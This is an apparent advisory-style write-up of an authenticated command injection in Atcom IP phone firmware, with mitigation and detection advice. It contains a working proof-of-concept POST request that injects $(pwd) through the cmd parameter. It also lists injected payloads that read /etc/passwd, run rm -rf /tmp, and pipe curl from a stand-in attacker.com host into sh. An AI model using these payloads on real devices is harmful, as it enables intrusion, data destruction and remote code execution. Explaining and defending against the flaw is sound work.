Atcom 2.7.x.x - Authenticated Command Injection

Atcom 2.7.x.x - Authenticated Command Injection Vulnerability: A Deep Dive into Exploitation and Mitigation

Recent findings have uncovered a critical security flaw in Atcom's IP phone firmware, specifically affecting versions above 2.7.x.x. The vulnerability, dubbed Authenticated Command Injection, allows an attacker with valid credentials to execute arbitrary system commands via a crafted HTTP POST request. This poses a severe risk to network integrity, especially in enterprise environments where IP phones serve as entry points for internal communications.

Understanding the Vulnerability

Atcom’s web-based configuration interface, accessible through /cgi-bin/web_cgi_main.cgi, exposes a functionality designed to test network connectivity by pinging a specified IP address. However, this feature is improperly implemented, allowing user-supplied input to be directly injected into a shell command without proper sanitization.

Attackers exploit this by manipulating the cmd parameter in the request payload. The presence of $(pwd) in the command string demonstrates that the system executes the input as a shell command, effectively bypassing input validation.

POST /cgi-bin/web_cgi_main.cgi?user_get_phone_ping HTTP/1.1
Host: {TARGET_IP}
User-Agent: polar
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 49
Authorization: Digest username="admin", realm="IP Phone Web Configuration", nonce="value_here", uri="/cgi-bin/web_cgi_main.cgi?user_get_phone_ping", response="value_here", qop=auth, nc=value_here, cnonce="value_here"

cmd=0.0.0.0$(pwd)&ipv4_ipv6=0&user_get_phone_ping

This request uses Digest Authentication to authenticate as the admin user, ensuring the attacker has access to the vulnerable endpoint. The cmd parameter contains a malicious payload: 0.0.0.0$(pwd). The $(pwd) is a shell command substitution that evaluates to the current working directory.

Exploitation and Response Analysis

Upon successful execution, the server responds with a JSON payload containing the ping_cmd_result field, which is encoded in Base64. Decoding this value reveals the actual output of the executed command:

{"ping_cmd_result":"cGluZzogYmFkIGFkZHJlc3MgJzAuMC4wLjAvdXNyL2xvY2FsL2FwcC9saWdodHRwZC93d3cvY2dpLWJpbicK","ping_cmd":"0.0.0.0$(pwd)"}

Decoding the Base64 string:

echo -n "cGluZzogYmFkIGFkZHJlc3MgJzAuMC4wLjAvdXNyL2xvY2FsL2FwcC9saWdodHRwZC93d3cvY2dpLWJpbicK" | base64 -d

Output:

ping: bad address '0.0.0.0/usr/local/app/lighttpd/www/cgi-bin'

This indicates that the command was executed in the shell environment, and the system attempted to ping an invalid address — the path /usr/local/app/lighttpd/www/cgi-bin was interpreted as a network address due to the lack of input sanitization.

Real-World Implications

While this example shows a benign error, the real danger lies in the ability to execute arbitrary commands. For instance, an attacker could inject:

• cmd=0.0.0.0$(whoami) → Reveals current user identity
• cmd=0.0.0.0$(ls -la /etc) → Enumerates sensitive system files
• cmd=0.0.0.0$(cat /etc/passwd) → Exposes user account data
• cmd=0.0.0.0$(rm -rf /tmp) → Deletes critical temporary files
• cmd=0.0.0.0$(curl http://attacker.com/shell.sh | sh) → Downloads and executes remote payload

These actions can lead to full system compromise, data exfiltration, or even lateral movement within the network.

Technical Root Cause

The vulnerability stems from improper input validation and direct command injection. The web application fails to escape or sanitize user input before passing it to the underlying shell. The use of $(...) in the command field is a classic shell injection pattern, indicating that the system uses sh or bash to execute the command.

Additionally, the lack of command whitelisting and the use of untrusted input in system calls violates fundamental security principles.

Recommended Mitigation Strategies

For vendors and administrators, the following measures are essential:

• Input Sanitization: Validate and sanitize all user inputs before executing any shell commands. Reject any characters that could be interpreted as shell operators.
• Command Whitelisting: Restrict allowed commands to a predefined list (e.g., only ping with valid IP syntax).
• Use of Safe APIs: Replace direct shell execution with secure APIs or system call wrappers.
• Authentication Hardening: Enforce strong password policies, disable default credentials, and implement multi-factor authentication.
• Regular Patching: Apply firmware updates promptly. Atcom should release a patched version addressing this flaw.

Detection and Monitoring

Security teams can detect this vulnerability through:

• Monitoring for unusual HTTP POST requests with cmd= parameters containing shell syntax.
• Using SIEM tools to flag Base64-encoded command outputs with known patterns.
• Implementing WAF (Web Application Firewall) rules to block payloads containing $( or ;.

Conclusion

The Atcom 2.7.x.x Authenticated Command Injection vulnerability highlights a critical gap in secure development practices. Even authenticated access does not guarantee safety if input handling is flawed. This case serves as a reminder that security by design must be prioritized — especially in embedded systems like IP phones, which are often overlooked in security audits.

For cybersecurity professionals, this exploit underscores the importance of thorough penetration testing, input validation, and continuous monitoring of web services — particularly those exposed to internal networks.